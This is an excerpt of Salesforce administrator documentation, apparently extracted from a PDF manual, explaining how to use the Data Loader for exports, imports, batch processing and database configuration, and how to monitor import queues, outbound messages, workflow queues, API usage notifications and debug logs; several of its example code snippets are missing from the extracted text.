Integer
Standard integer string
String
All valid XML strings; invalid XML characters are removed.
Exporting Data
Available in: Enterprise, Unlimited, and Developer Editions
You can use the Data Loader export wizard to extract data from any Salesforce.com object.
1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Click Export. This command can also be found in the File menu.
3. Enter your Salesforce.com username and password. Click Log in to log in. After your login completes successfully, click
Next. (Until you log out or close the program, you will not be asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce.com
automatically sends you an activation email that you can use to log in. The email contains a security key that you must add
to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, select the Account object. If your object name does not display in the default list, check
Show all objects to see a complete list of objects that you can access. The objects will be listed by localized label
name, with developer name noted in parentheses. For object descriptions, see the Web Services API Developer's Guide.
5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new
file or choose an existing file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
6. Click Next.
7. Create a SOQL query for the data export. For example, check Id and Name in the query fields and click Finish. As you
follow the next steps, you will see that the CSV viewer displays all the Account names and their IDs. SOQL is the
Salesforce.com Object Query Language that allows you to construct simple but powerful query strings. Similar to the
SELECT command in SQL, SOQL allows you to specify the source object (such as account), a list of fields to retrieve,
and conditions for selecting rows in the source object.
674
Data Management Defining Field Mappings
Tip: You can use a SOQL relationship query to include fields from a related object. For example:
Or:
When using relationship queries in the Data Loader, the fully specified field names are case-sensitive. For example,
using ACCOUNT.NAME instead of Account.Name does not work.
The Data Loader does not support nested queries or querying child objects. For example, queries similar to the
following return an error:
For more information on SOQL, see the Web Services API Developer's Guide.
8. Click Finish, then click Yes to confirm.
9. A progress information window reports the status of the operation.
10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV
file, or click OK to close. For more details, see Reviewing Output Files on page 680.
Note: The Data Loader currently does not support the extraction of attachments. As a workaround, we recommend
that you use the weekly export feature in the online application to export attachments.
Whenever you insert, delete, or update files, use the Mapping Dialog window to associate Salesforce.com fields with the
columns of your CSV file. For more information, see Inserting, Updating, or Deleting Data Using the Data Loader on page
676.
1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically
populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete
operation, automatic matching works only on the ID field.
2. To manually match fields with columns, click and drag fields from the list of Salesforce.com fields at the top to the list of
CSV column header names at the bottom. For example, if you are inserting new Account records where your CSV file
contains the names of new accounts, click and drag the Name field to the right of the NAME column header field.
3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL mapping file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
675
Data Management Inserting, Updating, or Deleting Data Using the Data Loader
The insert, update, upsert, delete, and hard delete wizards in the Data Loader allow you to add new records, modify existing
records, or delete existing records. Note that “upsert” is a combination of inserting and updating - if a record in your file
matches an existing record, the existing record is updated with the values in your file. If no match is found, then the record is
created as new. When you hard delete records, the deleted records are not stored in the Recycle Bin and become immediately
eligible for deletion. For more information, see Configuring the Data Loader on page 668.
1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Click Insert, Update, Upsert, Delete or Hard Delete. These commands can also be found in the File menu. For example,
to insert new Account records, begin by clicking Insert.
3. Enter your Salesforce.com username and password. Click Log in to log in. After your login completes successfully, click
Next. (Until you log out or close the program, you are not asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce.com
automatically sends you an activation email that you can use to log in. The email contains a security key that you must add
to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, if you are inserting Account records, select Account. If your object name does not display
in the default list, check Show all objects to see a complete list of the objects that you can access. The objects are
listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Web Services API
Developer's Guide.
5. Click Browse... to select your CSV file. For example, if you are inserting Account records, you could specify a CSV file
named insertaccounts.csv containing a Name column for the names of the new accounts.
6. Click Next. After the object and CSV file are initialized, click OK.
7. If you are performing an upsert:
a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either
an external ID (a custom field with the “External ID” attribute), or Id (the Salesforce.com record ID). From the
drop-down list, select which field to use for matching. If the object has no external ID fields, Id is automatically used.
For more information on external IDs, see Custom Field Attributes on page 817. Click Next to continue.
676
Data Management Inserting, Updating, or Deleting Data Using the Data Loader
b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID
for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the
related object's Id field for matching by mapping it in the next step. Click Next to continue.
8. Define how the columns in your CSV file map to Salesforce.com fields. Click Choose an Existing Map to select an existing
field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details and an
example of usage, see Defining Field Mappings on page 675.
9. Click Next.
10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with “success,” while the
other starts with “error.” Click Browse... to specify a directory for these files.
11. Click Finish to perform the operation, and then click Yes to confirm.
12. As the operation proceeds, a progress information window reports the status of the data movement.
13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success
file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files
on page 680.
Tip:
• If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass
Deletes for tips and best practices.
• There is a five-minute limit to process 100 records when the Bulk API is enabled. Also, if it takes longer than 10
minutes to process a file, the Bulk API places the remainder of the file back in the queue for later processing. If
the Bulk API continues to exceed the 10-minute limit on subsequent attempts, the file is placed back in the queue
and reprocessed up to 10 times before the operation is permanently marked as failed. Even if the processing failed,
some records could have completed successfully, so you must check the results. If you get a timeout error when
loading a file, split your file into smaller files, and try again.
To update a large number of records at one time, we recommend the following steps:
1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data
on page 674, or Running Reports on page 2133. Make sure your report includes the record ID.
2. As a backup measure, save an extra copy of the generated CSV file.
3. Open your working file in a CSV editor such as Excel, and update your data.
4. Launch the Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting,
Updating, or Deleting Data Using the Data Loader on page 676.
5. After the operation, review your success and error log files. See Reviewing Output Files on page 680.
6. If you made a mistake, use the backup file to update the records to their previous values.
677
Data Management Uploading Attachments
To delete a large number of records at one time using the Data Loader, we recommend the following steps:
1. As a backup measure, export the objects you wish to delete, being sure to select all fields. (See Exporting Data on page
674.) Save an extra copy of the generated CSV file.
2. Next, export the objects you wish to delete, this time using only the record ID as the desired criteria.
3. Launch the Data Loader and follow the delete or hard delete wizard. Map only the ID column. See Inserting, Updating,
or Deleting Data Using the Data Loader on page 676.
4. After the operation, review your success and error log files. See Reviewing Output Files on page 680.
Uploading Attachments
You can use the Data Loader to upload attachments to Salesforce.com.
1. Verify that Use Bulk API on the Settings ➤ Settings page is disabled. This setting enables the Bulk API, which is
optimized for loading large sets of data, but does not support importing attachments.
2. If you are migrating attachments from a source Salesforce.com organization to a target Salesforce.com organization, begin
by requesting a weekly data export for the source organization. On the Schedule Export page, make sure to select the
Include Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can
use that file in the next step. For more information on the weekly export service, see Exporting Backup Data on page 593.
3. Confirm that the CSV file you intend to use for attachment importing contains the following columns (each column
represents a Salesforce.com field):
4. Edit the values in the Body column so they contain the full file name of the attachments as they exist on your computer.
For example, if an attachment with the ID 123456789 is located on your computer at C:\Export, then set the value as
C:\Export\123456789. For reference, see this sample CSV file.
5. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using the Data Loader on page 676.
At the Select data objects step, make sure to select the Show all Salesforce.com objects checkbox and
the Attachment object name in the list.
Note: If your CSV file includes a column of attachment ID values, you can use a Microsoft Excel formula field to
prepend the directory path in front of the ID value.
678
Data Management Uploading Content with the Data Loader
You can use the Data Loader to bulk upload documents and links into workspaces in Salesforce CRM Content. Before
uploading documents or links, note the following:
Note: If there are commas in the description, use double quotes around the text.
• VersionData - complete file path on your local drive (for uploading documents only).
Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.
• PathOnClient - complete file path on your local drive (for uploading documents only).
• ContentUrl - URL (for uploading links only).
• OwnerId - (optional) file owner, defaults to the user uploading the file.
• FirstPublishLocationId - workspace ID.
• RecordTypeId - content type ID.
Note: If you publish to a workspace that has restricted content types, you must specify RecordTypeId.
To determine the RecordTypeId values for your organization using the Data Loader, follow the steps in Exporting
Data. Your SOQL query might look like this:
To determine the RecordTypeId values for your organization using the AJAX Toolkit:
a. Log in to Salesforce.com.
b. Enter this URL in your browser:
http://instanceName.salesforce.com/soap/ajax/19.0/debugshell.html. Enter the instanceName,
679
Data Management Reviewing Output Files
such as na1, for your organization. You can see the instanceName in the URL field of your browser after logging
in to Salesforce.com.
c. In the AJAX Toolkit Shell page type:
sforce.connection.describeSObject("ContentVersion")
d. Press Enter.
e. Click on the arrows for recordTypeInfos.
All of the RecordTypeId values for your organization are listed.
Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv
testfile,"This is a test file, use for bulk
upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one
2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using the Data Loader on
page 676. All documents and links will be available in the specified workspace.
After every import or export, the Data Loader generates two unique CSV output files. One file name starts with “success,”
while the other starts with “error.” During every export, the Data Loader saves extracted data to a CSV file that you specify
in the wizard. The Data Loader has a built-in CSV file viewer with which you can open these files.
To view output files from a Data Loader operation:
1. Choose View CSV from the View menu of the Data Loader.
2. Specify a number of rows to view. Each row in the CSV file corresponds to one Salesforce.com record. The default is 1000.
3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last
error file, click Open Error.
4. The CSV file opens in a new window. Optionally, click Open in External Program to open the file in the associated
external program, such as Microsoft® Office Excel.
The “success” file contains all records that were successfully loaded. In it, there is a column for newly generated record IDs.
The “error” file contains all records that were rejected from the load operation. In it, there is a column that describes why
the load failed.
5. Click Close to return to the CSV Chooser window, and then click OK to exit the window.
Note: To generate success files when exporting data, select the Generate success files for exports setting.
For more information, see Configuring the Data Loader on page 668.
680
Data Management Troubleshooting Data Loader Operations
If you need to investigate a problem with the Data Loader, or if requested by salesforce.com Customer Support, you can access
log files that track the operations and network connections made by the Data Loader. The two log files are:
sdl.log
Contains a detailed chronological list of Data Loader log entries. Log entries marked “INFO” are procedural items, such
as logging in to Salesforce.com. Log entries marked “ERROR” are problems such as a submitted record missing a required
field.
sdl_out.log
A supplemental log that contains additional information not captured in sdl.log. For example, it includes log entries for
the creation of proxy server network connections.
These files can be opened with commonly available text editor programs, such as Microsoft Notepad.
You can quickly open these files by entering %TEMP%\sdl.log and %TEMP%\sdl_out.log in either the Run dialog or
the Windows Explorer address bar.
If you are having login issues from the command line, ensure that the password provided in the configuration parameters is
encrypted. If you are having login issues from the UI, you may need to obtain a new security token.
681
Data Management Understanding Installed Directories and Files
Note: If you have used the batch mode from the command line with a version earlier than 8.0, see Upgrading Your
Batch Mode Interface on page 683.
conf
The default configuration directory. Contains the configuration files config.properties, Loader.class, and
log-conf.xml.
The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is
located at C:\Documents and Settings\your Windows username\Application
Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory
to use it for batch processes.
samples
Contains subdirectories of sample files for reference.
• sfdc.password
• sfdc.proxyPassword
682
Data Management Upgrading Your Batch Mode Interface
Generate a key
Key text is generated onscreen from the text you provide. Carefully copy the key text to a key file, omitting any leading
or trailing spaces. The key file can then be used for encryption and decryption.
Encrypt text
Generates an encrypted version of a password or other text. Optionally, you can provide a key file for the encryption.
In the configuration file, make sure that the encrypted text is copied precisely and the key file is mentioned.
For automated batch operations such as nightly scheduled loads and extractions, run Data Loader from the command line.
Before running any batch operation, be sure to include your encrypted password in the configuration file. For more information,
see Encrypting From the Command Line on page 682. From the command line, navigate into the bin directory and type
process.bat, which takes the following parameters:
683
Data Management Configuring Batch Processes
The Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not
specify a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the
following location:
C:\Program Files\salesforce.com\Data Loader version number\conf
The batch process configuration file is process-conf.xml. If you use process-conf.xml, setting process.name to
the name of a process specifies a process to run. Otherwise, the config.properties file is used for parameter settings. For
more information on batch mode, see Running in Batch Mode on page 681.
If you want to implement enhanced logging, use a copy of log-conf.xml.
You can change parameters at runtime by giving param=value as program arguments. For example, adding
process.operation=insert to the command changes the configuration at runtime.
You can set the minimum and maximum heap size. For example, -Xms256m -Xmx256m sets the heap size to 256 MB.
Note: These topics only apply to version 8.0 and later. If you have an earlier version of the Data Loader, see the
following blog post for command line instructions: http://blog.sforce.com/sforce/2005/06/sforce_data_loa.html
Tip:
If you experience login issues in the command line interface after upgrading to a new version of the Data Loader,
please try re-encrypting your password to solve the problem. For information on the password encryption utility, see
Encrypting From the Command Line on page 682.
configOverrideMap
A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the
setting value.
enableLastRunOutput
If set to true (the default), output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are generated and saved to the location specified by
lastRunOutputDirectory. If set to false, the files are not generated or saved.
lastRunOutputDirectory
The directory location where output files containing information about the last run, such as
sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput
is set to false, this value is not used because the files are not generated.
684
Data Management Data Loader Process Configuration Parameters
The configuration backing file stores configuration parameter values from the last run for debugging purposes, and is used to
load default configuration parameters in config.properties. The settings in configOverrideMap take precedence over
those in the configuration backing file. The configuration backing file is managed programmatically and does not require any
manual edits.
For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters
on page 685.
685
Data Management Data Loader Process Configuration Parameters
686
Data Management Data Loader Process Configuration Parameters
687
Data Management Data Loader Process Configuration Parameters
688
Data Management Data Loader Process Configuration Parameters
689
Data Management Data Loader Process Configuration Parameters
690
Data Management Data Loader Process Configuration Parameters
691
Data Management Data Loader Command Line Operations
Insert
Loads data from a data source into Salesforce.com as new records.
Update
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are updated.
692
Data Management Configuring Database Access
Upsert
Loads data from a data source into Salesforce.com, where existing records with a matching custom external ID field are
updated; records without matches are inserted as new records.
Delete
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are deleted.
Hard Delete
Loads data from a data source into Salesforce.com, where existing records with matching ID fields are deleted without
being stored first in the Recycle Bin.
DatabaseConfig Bean
The top-level database configuration object is the DatabaseConfig bean, which has the following properties:
sqlConfig
The SQL configuration bean for the data access object that interacts with a database.
dataSource
The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource
such as org.apache.commons.dbcp.BasicDataSource.
DatabaseConfig Example
<bean id="AccountInsert"
class="com.salesforce.dataloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>
</bean>
DataSource
The DataSource bean sets the physical information needed for database connections. It contains the following properties:
driverClassName
The fully qualified name of the implementation of a JDBC driver.
url
The string for physically connecting to the database.
username
The username for logging in to the database.
693
Data Management Configuring Database Access
password
The password for logging in to the database.
Depending on your implementation, additional information may be required. For example, use
org.apache.commons.dbcp.BasicDataSource when database connections are pooled.
DataSource Example
<bean id="oracleRepDataSource"
class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url"
value="jdbc:oracle:thin:@myserver.internal.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>
</bean>
class
Specifies the implementation class for the bean instance.
For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com
cannot guarantee the availability or accuracy of external websites.
csvWrite
Allows writing to a comma or tab-delimited file. A header row is added to the top of the file based on the column list
provided by the caller.
694
Data Management Configuring Database Access
databaseRead
Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 693.
databaseWrite
Allows writing to a database. Use database-conf.xml to configure database access. For more information, see
Configuring Database Access on page 693.
SQL Configuration
When running the Data Loader in batch mode from the command line, the SqlConfig class contains configuration parameters
for accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very
similar. The bean must be of type com.salesforce.dataloader.dao.database.SqlConfig and have the following
properties:
sqlString
The SQL code to be used by the data access object.
The SQL can contain replacement parameters that make the string dependent on configuration or operation variables.
Replacement parameters must be delimited on both sides by “@” characters. For example, @process.lastRunDate@.
sqlParams
A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry
represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java
type to be used when the parameter is set on the SQL statement. Note that “java.sql” types are sometimes required, such
as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.
columnNames
Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted
by executing the SQL. The column names are used to access and return the output to the caller of the DataReader
interface.
695
Data Management Mapping Columns
ar.hz_locations locs
where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID
and (locs.last_update_date > @process.lastRunDate@ OR
accounts.last_update_date > @process.lastRunDate@
</value>
</property>
<property name="columNames">
<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>
</list>
</property>
<property name="sqlParams">
<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>
</map>
</property>
</bean>
Mapping Columns
When running the Data Loader in batch mode from the command line, you must create a properties file that maps values
between Salesforce.com and data access objects.
696
Data Management Running Individual Batch Processes
• Data sources can be either column names or constants. Surround constants with double quotation marks, as in
“sampleconstant”. Values without quotation marks are treated as column names.
• Destinations must be column names.
• You may map constants by surrounding them with double quotation marks, as in "United
States"=BillingCountry.
3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file.
SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState
Id=account_number
Name=name
Phone=phone
A process name
The name of the ProcessRunner bean from \samples\conf\process-conf.xml.
Process Example
process ../conf accountMasterProcess
697
Data Management Data Loader Third-Party Licenses
Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to
run processes on a schedule.
The following third-party licenses are included with the installation of the Data Loader:
Note: salesforce.com is not responsible for the availability or content of third-party websites.
698
Data Management Force.com ConnectOracle
Force.com ConnectOracle
Available for an additional cost in: Enterprise and Unlimited Editions
Force.com ConnectOracle is a lightweight, easy to implement, packaged integration solution for Salesforce.com and Oracle
e-Business Suite 11i. It enables synchronization of account information between Salesforce.com and an Oracle e_BusinessSuite
11i back-office system, while significantly reducing the time, expense, and effort required to integrate the two systems.
ConnectOracle provides several benefits to enterprise customers, including:
• Fast and simple customer data integration, using a pre-built customer-master template which addresses end-to-end
integration between Salesforce.com and Oracle e_Business Suite 11i, thus accelerating the customer data integration process
• Bidirectional synchronization of account information between Salesforce.com and Oracle e-Business Suite 11i
• Access to front- and back-office enterprise customer data in Salesforce.com, enabling better, faster decisions with information
transparency
Note: Contact salesforce.com to learn more about purchasing and using ConnectOracle.
If ConnectOracle is enabled for your organization, you can download it via Setup ➤ Data Management ➤ ConnectOracle.
See Also:
Force.com ConnectSAP
Force.com ConnectSAP
Available for an additional cost in: Enterprise and Unlimited Editions
Force.com ConnectSAP is a lightweight, easy to implement, packaged integration solution for Salesforce.com and SAP R/3®
that delivers an integrated and consistent view of relevant customer data in both systems. It enables synchronization of account
information between Salesforce.com and SAP R/3®, while significantly reducing the time, expense, and effort required to
integrate the two systems. ConnectSAP is a lightweight Java application that is deployed on premise, local to the SAP R/3®
system.
Note: Contact salesforce.com to learn more about purchasing and using ConnectSAP.
If ConnectSAP is enabled for your organization, you can download it via Setup ➤ Data Management ➤ ConnectSAP.
699
Monitoring Using the Import Queue
MONITORING
Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details
are removed from the queue three days after completion.
If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has
started processing.
The possible values of the Status column are listed below:
Status Description
Aborted The import did not complete successfully. The error details are emailed to the user who performed the
import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the
import cannot remain in the queue for more than 30 days from the original import attempt.
Completed The import completed successfully without errors.
Error The import was processed and errors were encountered. The error details are emailed to the user who
performed the import. The user can fix the errors, and then attempt the import again.
Pending The import is in the queue but has not started processing yet.
Processing The import is in the queue and is currently being processed.
See Also:
Importing Overview
700
Monitoring Tracking Outbound Message Delivery Status
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To track the status of an outbound message, click Setup ➤ Monitoring ➤ Outbound Messages. Alternatively, click Setup
➤ Create ➤ Workflow & Approvals ➤ Outbound Messages, and then click View Message Delivery Status. Here you can
view the status of your outbound messages:
• The Next items for delivery related list contains all outbound messages that are awaiting delivery.
• The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not
been delivered and are not 24 hours old).
• The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer
being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures
to failed outbound message related list. For more information, see Defining Outbound Messages on page
1423. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com
representative.
Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.
See Also:
Managing Outbound Messages
Managing Workflow and Approvals
701
Monitoring Monitoring the Workflow Queue
When Salesforce.com triggers a workflow rule that has time-dependent actions, use the workflow queue to view pending
actions and cancel them if necessary.
To view pending actions:
Object
The standard or custom object that triggered the workflow rule. Enter the object name in the singular form such as
“opportunity.”
Scheduled Date
The date the pending actions are scheduled to occur.
Create Date
The date the record that triggered the workflow was created.
Created By
The user who created the record that triggered the workflow rule.
Record Name
The name of the record that triggered the workflow rule.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2163.
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
702
Monitoring Monitoring the Entitlement Process Queue
See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Administrator tip sheet: Workflow: Automating The Process
When Salesforce.com triggers an entitlement process that has time-dependent milestone actions, use the entitlement process
queue to view pending actions and cancel them, if necessary.
To view pending actions:
Case Number
The case's automatically-generated identifying number.
Milestone Name
The milestone that triggered the action.
Evaluation Date
The date the evaluated actions are scheduled to occur.
Created Date
The creation date of the case that triggered the entitlement process.
Username
The user who updated the case to trigger an entitlement process.
The filter is not case-sensitive. See Entering Filter Criteria on page 2163.
703
Monitoring Monitoring the Case Escalation Rule Queue
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete.
See Also:
Entitlement Management Overview
When Salesforce.com triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view
pending actions and cancel them if necessary.
To view pending actions:
Escalation Rule
The name of the rule used to escalate the case.
Rule Entry
The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation
rule is processed. Each escalation rule can have a maximum of 3000 rule entries.
Escalation Action
The time criteria specified for the case to escalate as defined in the rule entry.
Escalate At
The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the timezone
of the user viewing the escalation rule queue.
704
Monitoring About API Usage Notifications
Added Date
The date and time at which the case was added to the queue. Dates and times display in the timezone of the user
viewing the escalation rule queue.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2163.
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce.com cancels the pending action.
See Also:
Managing Escalation Rules
Viewing and Editing Escalation Rules
When you create a request usage notification, you specify an administrator to receive an email notification whenever your
organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information
on API request limits, see Force.com API Usage Limits on page 1659.
To view existing API usage notifications, click Setup ➤ Monitoring ➤ API Usage Notifications.
From the notifications list, you can do any of the following:
705
Monitoring Viewing API Usage Notifications
See Also:
Creating and Editing API Usage Notifications
Viewing API Usage Notifications
Documentation Resources for Force.com Developers
On the API usage notifications detail page, you can view information about a notification:
• Notification Recipient. The username for the person to whom the email notification is sent.
• Threshold. The percent of the usage limit that, when reached, triggers an email notification.
• Notification Interval (Hours). The frequency at which the notifications are sent. For example, if the notification interval
is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24 hour
period, a maximum of six notifications will be sent.
• Created By. The user who created the notification request, and the time it was created.
• Modified By. The user who last edited the notification.
On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to
create a new notification with the current values populated in the new notification. You can edit the values before saving.
See Also:
About API Usage Notifications
Creating and Editing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers
706
Monitoring Creating and Editing API Usage Notifications
On the API usage metering edit page accessible via Setup ➤ Monitoring ➤ API Usage Notifications, you can supply the
required values for a rate limiting notification:
See Also:
About API Usage Notifications
Viewing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers
Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary.
707
Monitoring Monitoring Debug Logs
To view the mass emails you have scheduled, click Setup ➤ Email ➤ My Mass Emails. If you have permission to view all
mass emails in your organization, click Setup ➤ Monitoring ➤ Mass Email.
From these pages, you can:
See Also:
Sending Mass Email
You can retain and manage the debug logs for specific users.
Transactions can be generated from the following:
• Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
• Each debug log can only be 2 MB.
• Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.
708
Monitoring Monitoring Debug Logs
• Click Filters to specify what gets logged for that user, as well as the amount of information.
See Also:
Force.com Apex Code Overview
What is a Debug Log?
Retaining Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide
You can retain and manage the debug logs for specific users.
The following are the limits for debug logs:
• Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
• Each debug log can only be 2 MB.
• Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.
To specify that a user should have his or her debug logs retained:
709
Monitoring Monitoring Debug Logs
3. Click Save.
See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide
You can retain and manage the debug logs for specific users.
To view the details of a debug log, click Setup ➤ Monitoring ➤ Debug Logs, and then click View next to the debug log
you want to examine. Click Download to download the log as an XML file.
The debug log contains information about the transaction, such as if it was successful, the size of the log (in bytes), how long
the transaction took in milliseconds, and so on. The log itself contains additional information about the transaction, depending
on the filters set for the user.
18.0 DB,INFO;WORKFLOW,INFO;VALIDATION,INFO;CALLOUT,INFO;APEX_CODE,INFO;
APEX_PROFILING,INFO
In this example, the API version is 18.0, and the following debug log categories and levels have been set:
710
Monitoring Monitoring Debug Logs
Category Level
Database INFO
Workflow INFO
Validation INFO
Callout INFO
Apex Code INFO
Apex Profiling INFO
Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution
is delimited by EXECUTION_START and EXECUTION_FINISHED.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService
method, or a validation rule.
Note: A class is not a discrete unit of code.
Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can imbed other
units of work. For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for null
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
Units of code include, but are not limited to, the following:
• Triggers
• Workflow invocations and time-based workflow
• Validation rules
• Approval processes
• Apex lead convert
• @future method invocations
• Web service invocations
• executeAnonymous calls
• Visualforce property accesses on Apex controllers
• Visualforce actions on Apex controllers
• Execution of the batch Apex start and finish methods, as well as each execution of the execute method
• Execution of the Apex System.Schedule execute method
• Incoming email handling
711
Monitoring Monitoring Debug Logs
Log Lines
Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically
written to the debug log. For example:
Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
• Timestamp—specified in the user's time zone, of the format HH:mm:ss.SSS
• Event identifier—the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or
VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line
and character number where the code was executed.
18.0 DB,INFO;WORKFLOW,FINEST;VALIDATION,INFO;APEX_CODE,FINE;APEX_PROFILING,FINE
13:17:05.382|EXECUTION_STARTED
13:17:05.382|CODE_UNIT_STARTED|[EXTERNAL]TestHandleProductPriceChange.testPriceChange
13:17:05.383|DML_BEGIN|[5,1]|Op:Insert|Type:Invoice_Statement__c|Rows:1
13:17:06.084|DML_END|[5,1]|
